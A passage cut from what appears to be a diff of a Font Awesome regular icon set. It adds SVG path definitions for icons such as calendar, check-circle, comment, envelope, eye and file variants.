12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12zm140 12h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm-128 96h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm128 0h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm-76 84v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm76 12h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm180 124v36H0v-36c0-6.6 5.4-12 12-12h19.5V24c0-13.3 10.7-24 24-24h337c13.3 0 24 10.7 24 24v440H436c6.6 0 12 5.4 12 12zM79.5 463H192v-67c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v67h112.5V49L80 48l-.5 415z" ], + calendar: [ 448, 512, [], "f133", "M400 64h-48V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H160V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zm-6 400H54c-3.3 0-6-2.7-6-6V160h352v298c0 3.3-2.7 6-6 6z" ], + "calendar-alt": [ 448, 512, [], "f073", "M148 288h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12zm108-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm96 0v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm-96 96v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm-96 0v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm192 0v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm96-260v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" ], + "calendar-check": [ 448, 512, [], "f274", "M400 64h-48V12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v52H160V12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v52H48C21.49 64 0 85.49 0 112v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm-6 400H54a6 6 0 0 1-6-6V160h352v298a6 6 0 0 1-6 6zm-52.849-200.65L198.842 404.519c-4.705 4.667-12.303 4.637-16.971-.068l-75.091-75.699c-4.667-4.705-4.637-12.303.068-16.971l22.719-22.536c4.705-4.667 12.303-4.637 16.97.069l44.104 44.461 111.072-110.181c4.705-4.667 12.303-4.637 16.971.068l22.536 22.718c4.667 4.705 4.636 12.303-.069 16.97z" ], + "calendar-minus": [ 448, 512, [], "f272", "M124 328c-6.6 0-12-5.4-12-12v-24c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v24c0 6.6-5.4 12-12 12H124zm324-216v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" ], + "calendar-plus": [ 448, 512, [], "f271", "M336 292v24c0 6.6-5.4 12-12 12h-76v76c0 6.6-5.4 12-12 12h-24c-6.6 0-12-5.4-12-12v-76h-76c-6.6 0-12-5.4-12-12v-24c0-6.6 5.4-12 12-12h76v-76c0-6.6 5.4-12 12-12h24c6.6 0 12 5.4 12 12v76h76c6.6 0 12 5.4 12 12zm112-180v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" ], + "calendar-times": [ 448, 512, [], "f273", "M311.7 374.7l-17 17c-4.7 4.7-12.3 4.7-17 0L224 337.9l-53.7 53.7c-4.7 4.7-12.3 4.7-17 0l-17-17c-4.7-4.7-4.7-12.3 0-17l53.7-53.7-53.7-53.7c-4.7-4.7-4.7-12.3 0-17l17-17c4.7-4.7 12.3-4.7 17 0l53.7 53.7 53.7-53.7c4.7-4.7 12.3-4.7 17 0l17 17c4.7 4.7 4.7 12.3 0 17L257.9 304l53.7 53.7c4.8 4.7 4.8 12.3.1 17zM448 112v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" ], + "caret-square-down": [ 448, 512, [], "f150", "M125.1 208h197.8c10.7 0 16.1 13 8.5 20.5l-98.9 98.3c-4.7 4.7-12.2 4.7-16.9 0l-98.9-98.3c-7.7-7.5-2.3-20.5 8.4-20.5zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" ], + "caret-square-left": [ 448, 512, [], "f191", "M272 157.1v197.8c0 10.7-13 16.1-20.5 8.5l-98.3-98.9c-4.7-4.7-4.7-12.2 0-16.9l98.3-98.9c7.5-7.7 20.5-2.3 20.5 8.4zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" ], + "caret-square-right": [ 448, 512, [], "f152", "M176 354.9V157.1c0-10.7 13-16.1 20.5-8.5l98.3 98.9c4.7 4.7 4.7 12.2 0 16.9l-98.3 98.9c-7.5 7.7-20.5 2.3-20.5-8.4zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" ], + "caret-square-up": [ 448, 512, [], "f151", "M322.9 304H125.1c-10.7 0-16.1-13-8.5-20.5l98.9-98.3c4.7-4.7 12.2-4.7 16.9 0l98.9 98.3c7.7 7.5 2.3 20.5-8.4 20.5zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" ], + "chart-bar": [ 512, 512, [], "f080", "M396.8 352h22.4c6.4 0 12.8-6.4 12.8-12.8V108.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v230.4c0 6.4 6.4 12.8 12.8 12.8zm-192 0h22.4c6.4 0 12.8-6.4 12.8-12.8V140.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v198.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h22.4c6.4 0 12.8-6.4 12.8-12.8V204.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v134.4c0 6.4 6.4 12.8 12.8 12.8zM496 400H48V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16zm-387.2-48h22.4c6.4 0 12.8-6.4 12.8-12.8v-70.4c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v70.4c0 6.4 6.4 12.8 12.8 12.8z" ], + "check-circle": [ 512, 512, [], "f058", "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 48c110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200-110.532 0-200-89.451-200-200 0-110.532 89.451-200 200-200m140.204 130.267l-22.536-22.718c-4.667-4.705-12.265-4.736-16.97-.068L215.346 303.697l-59.792-60.277c-4.667-4.705-12.265-4.736-16.97-.069l-22.719 22.536c-4.705 4.667-4.736 12.265-.068 16.971l90.781 91.516c4.667 4.705 12.265 4.736 16.97.068l172.589-171.204c4.704-4.668 4.734-12.266.067-16.971z" ], + "check-square": [ 448, 512, [], "f14a", "M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zm0 400H48V80h352v352zm-35.864-241.724L191.547 361.48c-4.705 4.667-12.303 4.637-16.97-.068l-90.781-91.516c-4.667-4.705-4.637-12.303.069-16.971l22.719-22.536c4.705-4.667 12.303-4.637 16.97.069l59.792 60.277 141.352-140.216c4.705-4.667 12.303-4.637 16.97.068l22.536 22.718c4.667 4.706 4.637 12.304-.068 16.971z" ], + circle: [ 512, 512, [], "f111", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200z" ], + clipboard: [ 384, 512, [], "f328", "M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM192 40c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm144 418c0 3.3-2.7 6-6 6H54c-3.3 0-6-2.7-6-6V118c0-3.3 2.7-6 6-6h42v36c0 6.6 5.4 12 12 12h168c6.6 0 12-5.4 12-12v-36h42c3.3 0 6 2.7 6 6z" ], + clock: [ 512, 512, [], "f017", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm61.8-104.4l-84.9-61.7c-3.1-2.3-4.9-5.9-4.9-9.7V116c0-6.6 5.4-12 12-12h32c6.6 0 12 5.4 12 12v141.7l66.8 48.6c5.4 3.9 6.5 11.4 2.6 16.8L334.6 349c-3.9 5.3-11.4 6.5-16.8 2.6z" ], + clone: [ 512, 512, [], "f24d", "M464 0H144c-26.51 0-48 21.49-48 48v48H48c-26.51 0-48 21.49-48 48v320c0 26.51 21.49 48 48 48h320c26.51 0 48-21.49 48-48v-48h48c26.51 0 48-21.49 48-48V48c0-26.51-21.49-48-48-48zM362 464H54a6 6 0 0 1-6-6V150a6 6 0 0 1 6-6h42v224c0 26.51 21.49 48 48 48h224v42a6 6 0 0 1-6 6zm96-96H150a6 6 0 0 1-6-6V54a6 6 0 0 1 6-6h308a6 6 0 0 1 6 6v308a6 6 0 0 1-6 6z" ], + "closed-captioning": [ 512, 512, [], "f20a", "M464 64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zm-6 336H54c-3.3 0-6-2.7-6-6V118c0-3.3 2.7-6 6-6h404c3.3 0 6 2.7 6 6v276c0 3.3-2.7 6-6 6zm-211.1-85.7c1.7 2.4 1.5 5.6-.5 7.7-53.6 56.8-172.8 32.1-172.8-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7l-17.5 30.5c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2 0 48 51 70.5 92.2 32.6 2.8-2.5 7.1-2.1 9.2.9l19.6 27.7zm190.4 0c1.7 2.4 1.5 5.6-.5 7.7-53.6 56.9-172.8 32.1-172.8-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7L420 220.2c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2 0 48 51 70.5 92.2 32.6 2.8-2.5 7.1-2.1 9.2.9l19.6 27.7z" ], + comment: [ 512, 512, [], "f075", "M256 32C114.6 32 0 125.1 0 240c0 47.6 19.9 91.2 52.9 126.3C38 405.7 7 439.1 6.5 439.5c-6.6 7-8.4 17.2-4.6 26S14.4 480 24 480c61.5 0 110-25.7 139.1-46.3C192 442.8 223.2 448 256 448c141.4 0 256-93.1 256-208S397.4 32 256 32zm0 368c-26.7 0-53.1-4.1-78.4-12.1l-22.7-7.2-19.5 13.8c-14.3 10.1-33.9 21.4-57.5 29 7.3-12.1 14.4-25.7 19.9-40.2l10.6-28.1-20.6-21.8C69.7 314.1 48 282.2 48 240c0-88.2 93.3-160 208-160s208 71.8 208 160-93.3 160-208 160z" ], + "comment-alt": [ 512, 512, [], "f27a", "M448 0H64C28.7 0 0 28.7 0 64v288c0 35.3 28.7 64 64 64h96v84c0 7.1 5.8 12 12 12 2.4 0 4.9-.7 7.1-2.4L304 416h144c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64zm16 352c0 8.8-7.2 16-16 16H288l-12.8 9.6L208 428v-60H64c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16h384c8.8 0 16 7.2 16 16v288z" ], + "comment-dots": [ 512, 512, [], "f4ad", "M144 208c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm112 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm112 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zM256 32C114.6 32 0 125.1 0 240c0 47.6 19.9 91.2 52.9 126.3C38 405.7 7 439.1 6.5 439.5c-6.6 7-8.4 17.2-4.6 26S14.4 480 24 480c61.5 0 110-25.7 139.1-46.3C192 442.8 223.2 448 256 448c141.4 0 256-93.1 256-208S397.4 32 256 32zm0 368c-26.7 0-53.1-4.1-78.4-12.1l-22.7-7.2-19.5 13.8c-14.3 10.1-33.9 21.4-57.5 29 7.3-12.1 14.4-25.7 19.9-40.2l10.6-28.1-20.6-21.8C69.7 314.1 48 282.2 48 240c0-88.2 93.3-160 208-160s208 71.8 208 160-93.3 160-208 160z" ], + comments: [ 576, 512, [], "f086", "M532 386.2c27.5-27.1 44-61.1 44-98.2 0-80-76.5-146.1-176.2-157.9C368.3 72.5 294.3 32 208 32 93.1 32 0 103.6 0 192c0 37 16.5 71 44 98.2-15.3 30.7-37.3 54.5-37.7 54.9-6.3 6.7-8.1 16.5-4.4 25 3.6 8.5 12 14 21.2 14 53.5 0 96.7-20.2 125.2-38.8 9.2 2.1 18.7 3.7 28.4 4.9C208.1 407.6 281.8 448 368 448c20.8 0 40.8-2.4 59.8-6.8C456.3 459.7 499.4 480 553 480c9.2 0 17.5-5.5 21.2-14 3.6-8.5 1.9-18.3-4.4-25-.4-.3-22.5-24.1-37.8-54.8zm-392.8-92.3L122.1 305c-14.1 9.1-28.5 16.3-43.1 21.4 2.7-4.7 5.4-9.7 8-14.8l15.5-31.1L77.7 256C64.2 242.6 48 220.7 48 192c0-60.7 73.3-112 160-112s160 51.3 160 112-73.3 112-160 112c-16.5 0-33-1.9-49-5.6l-19.8-4.5zM498.3 352l-24.7 24.4 15.5 31.1c2.6 5.1 5.3 10.1 8 14.8-14.6-5.1-29-12.3-43.1-21.4l-17.1-11.1-19.9 4.6c-16 3.7-32.5 5.6-49 5.6-54 0-102.2-20.1-131.3-49.7C338 339.5 416 272.9 416 192c0-3.4-.4-6.7-.7-10C479.7 196.5 528 238.8 528 288c0 28.7-16.2 50.6-29.7 64z" ], + compass: [ 496, 512, [], "f14e", "M347.94 129.86L203.6 195.83a31.938 31.938 0 0 0-15.77 15.77l-65.97 144.34c-7.61 16.65 9.54 33.81 26.2 26.2l144.34-65.97a31.938 31.938 0 0 0 15.77-15.77l65.97-144.34c7.61-16.66-9.54-33.81-26.2-26.2zm-77.36 148.72c-12.47 12.47-32.69 12.47-45.16 0-12.47-12.47-12.47-32.69 0-45.16 12.47-12.47 32.69-12.47 45.16 0 12.47 12.47 12.47 32.69 0 45.16zM248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 448c-110.28 0-200-89.72-200-200S137.72 56 248 56s200 89.72 200 200-89.72 200-200 200z" ], + copy: [ 448, 512, [], "f0c5", "M433.941 65.941l-51.882-51.882A48 48 0 0 0 348.118 0H176c-26.51 0-48 21.49-48 48v48H48c-26.51 0-48 21.49-48 48v320c0 26.51 21.49 48 48 48h224c26.51 0 48-21.49 48-48v-48h80c26.51 0 48-21.49 48-48V99.882a48 48 0 0 0-14.059-33.941zM266 464H54a6 6 0 0 1-6-6V150a6 6 0 0 1 6-6h74v224c0 26.51 21.49 48 48 48h96v42a6 6 0 0 1-6 6zm128-96H182a6 6 0 0 1-6-6V54a6 6 0 0 1 6-6h106v88c0 13.255 10.745 24 24 24h88v202a6 6 0 0 1-6 6zm6-256h-64V48h9.632c1.591 0 3.117.632 4.243 1.757l48.368 48.368a6 6 0 0 1 1.757 4.243V112z" ], + copyright: [ 512, 512, [], "f1f9", "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 448c-110.532 0-200-89.451-200-200 0-110.531 89.451-200 200-200 110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200zm107.351-101.064c-9.614 9.712-45.53 41.396-104.065 41.396-82.43 0-140.484-61.425-140.484-141.567 0-79.152 60.275-139.401 139.762-139.401 55.531 0 88.738 26.62 97.593 34.779a11.965 11.965 0 0 1 1.936 15.322l-18.155 28.113c-3.841 5.95-11.966 7.282-17.499 2.921-8.595-6.776-31.814-22.538-61.708-22.538-48.303 0-77.916 35.33-77.916 80.082 0 41.589 26.888 83.692 78.277 83.692 32.657 0 56.843-19.039 65.726-27.225 5.27-4.857 13.596-4.039 17.82 1.738l19.865 27.17a11.947 11.947 0 0 1-1.152 15.518z" ], + "credit-card": [ 576, 512, [], "f09d", "M527.9 32H48.1C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48.1 48h479.8c26.6 0 48.1-21.5 48.1-48V80c0-26.5-21.5-48-48.1-48zM54.1 80h467.8c3.3 0 6 2.7 6 6v42H48.1V86c0-3.3 2.7-6 6-6zm467.8 352H54.1c-3.3 0-6-2.7-6-6V256h479.8v170c0 3.3-2.7 6-6 6zM192 332v40c0 6.6-5.4 12-12 12h-72c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h72c6.6 0 12 5.4 12 12zm192 0v40c0 6.6-5.4 12-12 12H236c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h136c6.6 0 12 5.4 12 12z" ], + dizzy: [ 496, 512, [], "f567", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-33.8-217.9c7.8-7.8 7.8-20.5 0-28.3L196.3 192l17.9-17.9c7.8-7.8 7.8-20.5 0-28.3-7.8-7.8-20.5-7.8-28.3 0L168 163.7l-17.8-17.8c-7.8-7.8-20.5-7.8-28.3 0-7.8 7.8-7.8 20.5 0 28.3l17.9 17.9-17.9 17.9c-7.8 7.8-7.8 20.5 0 28.3 7.8 7.8 20.5 7.8 28.3 0l17.8-17.8 17.8 17.8c7.9 7.7 20.5 7.7 28.4-.2zm160-92.2c-7.8-7.8-20.5-7.8-28.3 0L328 163.7l-17.8-17.8c-7.8-7.8-20.5-7.8-28.3 0-7.8 7.8-7.8 20.5 0 28.3l17.9 17.9-17.9 17.9c-7.8 7.8-7.8 20.5 0 28.3 7.8 7.8 20.5 7.8 28.3 0l17.8-17.8 17.8 17.8c7.8 7.8 20.5 7.8 28.3 0 7.8-7.8 7.8-20.5 0-28.3l-17.8-18 17.9-17.9c7.7-7.8 7.7-20.4 0-28.2zM248 272c-35.3 0-64 28.7-64 64s28.7 64 64 64 64-28.7 64-64-28.7-64-64-64z" ], + "dot-circle": [ 512, 512, [], "f192", "M256 56c110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200-110.532 0-200-89.451-200-200 0-110.532 89.451-200 200-200m0-48C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 168c-44.183 0-80 35.817-80 80s35.817 80 80 80 80-35.817 80-80-35.817-80-80-80z" ], + edit: [ 576, 512, [], "f044", "M402.3 344.9l32-32c5-5 13.7-1.5 13.7 5.7V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h273.5c7.1 0 10.7 8.6 5.7 13.7l-32 32c-1.5 1.5-3.5 2.3-5.7 2.3H48v352h352V350.5c0-2.1.8-4.1 2.3-5.6zm156.6-201.8L296.3 405.7l-90.4 10c-26.2 2.9-48.5-19.2-45.6-45.6l10-90.4L432.9 17.1c22.9-22.9 59.9-22.9 82.7 0l43.2 43.2c22.9 22.9 22.9 60 .1 82.8zM460.1 174L402 115.9 216.2 301.8l-7.3 65.3 65.3-7.3L460.1 174zm64.8-79.7l-43.2-43.2c-4.1-4.1-10.8-4.1-14.8 0L436 82l58.1 58.1 30.9-30.9c4-4.2 4-10.8-.1-14.9z" ], + envelope: [ 512, 512, [], "f0e0", "M464 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm0 48v40.805c-22.422 18.259-58.168 46.651-134.587 106.49-16.841 13.247-50.201 45.072-73.413 44.701-23.208.375-56.579-31.459-73.413-44.701C106.18 199.465 70.425 171.067 48 152.805V112h416zM48 400V214.398c22.914 18.251 55.409 43.862 104.938 82.646 21.857 17.205 60.134 55.186 103.062 54.955 42.717.231 80.509-37.199 103.053-54.947 49.528-38.783 82.032-64.401 104.947-82.653V400H48z" ], + "envelope-open": [ 512, 512, [], "f2b6", "M494.586 164.516c-4.697-3.883-111.723-89.95-135.251-108.657C337.231 38.191 299.437 0 256 0c-43.205 0-80.636 37.717-103.335 55.859-24.463 19.45-131.07 105.195-135.15 108.549A48.004 48.004 0 0 0 0 201.485V464c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V201.509a48 48 0 0 0-17.414-36.993zM464 458a6 6 0 0 1-6 6H54a6 6 0 0 1-6-6V204.347c0-1.813.816-3.526 2.226-4.665 15.87-12.814 108.793-87.554 132.364-106.293C200.755 78.88 232.398 48 256 48c23.693 0 55.857 31.369 73.41 45.389 23.573 18.741 116.503 93.493 132.366 106.316a5.99 5.99 0 0 1 2.224 4.663V458zm-31.991-187.704c4.249 5.159 3.465 12.795-1.745 16.981-28.975 23.283-59.274 47.597-70.929 56.863C336.636 362.283 299.205 400 256 400c-43.452 0-81.287-38.237-103.335-55.86-11.279-8.967-41.744-33.413-70.927-56.865-5.21-4.187-5.993-11.822-1.745-16.981l15.258-18.528c4.178-5.073 11.657-5.843 16.779-1.726 28.618 23.001 58.566 47.035 70.56 56.571C200.143 320.631 232.307 352 256 352c23.602 0 55.246-30.88 73.41-45.389 11.994-9.535 41.944-33.57 70.563-56.568 5.122-4.116 12.601-3.346 16.778 1.727l15.258 18.526z" ], + eye: [ 576, 512, [], "f06e", "M288 144a110.94 110.94 0 0 0-31.24 5 55.4 55.4 0 0 1 7.24 27 56 56 0 0 1-56 56 55.4 55.4 0 0 1-27-7.24A111.71 111.71 0 1 0 288 144zm284.52 97.4C518.29 135.59 410.93 64 288 64S57.68 135.64 3.48 241.41a32.35 32.35 0 0 0 0 29.19C57.71 376.41 165.07 448 288 448s230.32-71.64 284.52-177.41a32.35 32.35 0 0 0 0-29.19zM288 400c-98.65 0-189.09-55-237.93-144C98.91 167 189.34 112 288 112s189.09 55 237.93 144C477.1 345 386.66 400 288 400z" ], + "eye-slash": [ 640, 512, [], "f070", "M634 471L36 3.51A16 16 0 0 0 13.51 6l-10 12.49A16 16 0 0 0 6 41l598 467.49a16 16 0 0 0 22.49-2.49l10-12.49A16 16 0 0 0 634 471zM296.79 146.47l134.79 105.38C429.36 191.91 380.48 144 320 144a112.26 112.26 0 0 0-23.21 2.47zm46.42 219.07L208.42 260.16C210.65 320.09 259.53 368 320 368a113 113 0 0 0 23.21-2.46zM320 112c98.65 0 189.09 55 237.93 144a285.53 285.53 0 0 1-44 60.2l37.74 29.5a333.7 333.7 0 0 0 52.9-75.11 32.35 32.35 0 0 0 0-29.19C550.29 135.59 442.93 64 320 64c-36.7 0-71.71 7-104.63 18.81l46.41 36.29c18.94-4.3 38.34-7.1 58.22-7.1zm0 288c-98.65 0-189.08-55-237.93-144a285.47 285.47 0 0 1 44.05-60.19l-37.74-29.5a333.6 333.6 0 0 0-52.89 75.1 32.35 32.35 0 0 0 0 29.19C89.72 376.41 197.08 448 320 448c36.7 0 71.71-7.05 104.63-18.81l-46.41-36.28C359.28 397.2 339.89 400 320 400z" ], + file: [ 384, 512, [], "f15b", "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48z" ], + "file-alt": [ 384, 512, [], "f15c", "M288 248v28c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-28c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12zm-12 72H108c-6.6 0-12 5.4-12 12v28c0 6.6 5.4 12 12 12h168c6.6 0 12-5.4 12-12v-28c0-6.6-5.4-12-12-12zm108-188.1V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V48C0 21.5 21.5 0 48 0h204.1C264.8 0 277 5.1 286 14.1L369.9 98c9 8.9 14.1 21.2 14.1 33.9zm-128-80V128h76.1L256 51.9zM336 464V176H232c-13.3 0-24-10.7-24-24V48H48v416h288z" ], + "file-archive": [ 384, 512, [], "f1c6", "M128.3 160v32h32v-32zm64-96h-32v32h32zm-64 32v32h32V96zm64 32h-32v32h32zm177.6-30.1L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM256 51.9l76.1 76.1H256zM336 464H48V48h79.7v16h32V48H208v104c0 13.3 10.7 24 24 24h104zM194.2 265.7c-1.1-5.6-6-9.7-11.8-9.7h-22.1v-32h-32v32l-19.7 97.1C102 385.6 126.8 416 160 416c33.1 0 57.9-30.2 51.5-62.6zm-33.9 124.4c-17.9 0-32.4-12.1-32.4-27s14.5-27 32.4-27 32.4 12.1 32.4 27-14.5 27-32.4 27zm32-198.1h-32v32h32z" ], + "file-audio": [ 384, 512, [], "f1c7", "M369.941 97.941l-83.882-83.882A48 48 0 0 0 252.118 0H48C21.49 0 0 21.49 0 48v416c0 26.51 21.49 48 48 48h288c26.51 0 48-21.49 48-48V131.882a48 48 0 0 0-14.059-33.941zM332.118 128H256V51.882L332.118 128zM48 464V48h160v104c0 13.255 10.745 24 24 24h104v288H48zm144-76.024c0 10.691-12.926 16.045-20.485 8.485L136 360.486h-28c-6.627 0-12-5.373-12-12v-56c0-6.627 5.373-12 12-12h28l35.515-36.947c7.56-7.56 20.485-2.206 20.485 8.485v135.952zm41.201-47.13c9.051-9.297 9.06-24.133.001-33.439-22.149-22.752 12.235-56.246 34.395-33.481 27.198 27.94 27.212 72.444.001 100.401-21.793 22.386-56.947-10.315-34.397-33.481z" ], + "file-code": [ 384, 512, [], "f1c9", "M149.9 349.1l-.2-.2-32.8-28.9 32.8-28.9c3.6-3.2 4-8.8.8-12.4l-.2-.2-17.4-18.6c-3.4-3.6-9-3.7-12.4-.4l-57.7 54.1c-3.7 3.5-3.7 